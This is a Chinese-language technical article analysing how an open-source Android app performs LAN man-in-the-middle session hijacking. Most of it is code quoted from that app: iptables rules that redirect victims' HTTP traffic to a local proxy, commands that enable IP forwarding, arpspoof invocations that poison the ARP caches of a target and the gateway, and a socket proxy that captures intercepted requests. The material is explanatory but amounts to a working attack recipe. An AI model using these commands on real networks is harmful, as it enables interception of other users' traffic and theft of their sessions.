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Android中间人攻击的思路就是劫持局域网中被攻击机器和server间的对话。被攻击机器和server表面上工作正常，实际上已经被中间人劫持。能够从一张图来明确这个过程。
受攻击主机发送的数据，首先经过了攻击者。从server返回的数据也经过攻击者，再发送给受攻击主机。
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Android开源中间人攻击样例。请參考https://github.com/ssun125/Lanmitm。我们这里主要分析这个链接中效果预览中会话劫持的原理。
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分析https://github.com/ssun125/Lanmitm源码，要实现arp欺骗，有关键的四步：
1、使用Iptables进行NAT数据包转发
public static final String[] PORT_REDIRECT_CMD = {
"iptables -t nat -F",
"iptables -F",
"iptables -t nat -I POSTROUTING -s 0/0 -j MASQUERADE",
"iptables -P FORWARD ACCEPT",
"iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 80 --to "
+ AppContext.getIp() + ":" + HttpProxy.HTTP_PROXY_PORT };这个命令是在ProxyService类的startHttpProxy方法中调用的。
2、开启端口转发，同意本机像路由器那样转发数据包
private String[] FORWARD_COMMANDS = { "echo 1 > /proc/sys/net/ipv4/ip_forward",
"echo 1 > /proc/sys/net/ipv6/conf/all/forwarding" };这个是在ArpService类的onStartCommand方法中调用的。
3、ARP投毒
if ((ONE_WAY_HOST & arp_cheat_way) != 0) {
if (target_ip == null)
target_ip = AppContext.getTarget().getIp();
if (!target_ip.equals(AppContext.getGateway()))
arp_spoof_cmd = getFilesDir() + "/arpspoof -i " + interfaceName
+ " -t " + target_ip + " "
+ AppContext.getGateway();
else
arp_spoof_cmd = getFilesDir() + "/arpspoof -i " + interfaceName
+ " -t " + AppContext.getGateway() + " "
+ target_ip;
arpSpoof = new Thread() {
@Override
public void run() {
ShellUtils.execCommand(arp_spoof_cmd, true, false);
}
};
arpSpoof.start();
}
if ((ONE_WAY_ROUTE & arp_cheat_way) != 0) {
arp_spoof_recv_cmd = getFilesDir() + "/arpspoof -i " + interfaceName
+ " -t " + AppContext.getGateway() + " "
+ AppContext.getIp();
arpSpoofRecv = new Thread() {
@Override
public void run() {
ShellUtils.execCommand(arp_spoof_recv_cmd, true, false);
}
};
arpSpoofRecv.start();
}这个是在ArpService类的onStartCommand方法中调用的。
4、在攻击者机器依据Socket原理，创建一个WebServer，原理相似于使用NanoHttpd实现简易WebServer。
这样被攻击者发送给攻击者的请求就能被获取。而且显示在界面上。
核心的代码例如以下：
public class HttpProxy extends Thread {
......
@Override
public void run() {
try {
mServerSocket = new ServerSocket();
mServerSocket.setReuseAddress(true);
mServerSocket.bind(
new InetSocketAddress(AppContext.getInetAddress(),
HTTP_PROXY_PORT), BACKLOG);
executor = Executors.newCachedThreadPool();
while (!stop) {
Socket client = mServerSocket.accept();
DealThread dealThread = null;
switch (mProxyMode) {
case MODE_PROXY_SIMPLE:
dealThread = new SimpleDealThread(client,
mOnRequestListener);
break;
case MODE_PROXY_DEEP:
dealThread = new DeepDealThread(client, mOnRequestListener);
break;
}
executor.execute(dealThread);
}
} catch (IOException e) {
e.printStackTrace();
} finally {
if (mServerSocket != null) {
try {
mServerSocket.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (executor != null) {
executor.shutdownNow();
}
}
}
......
}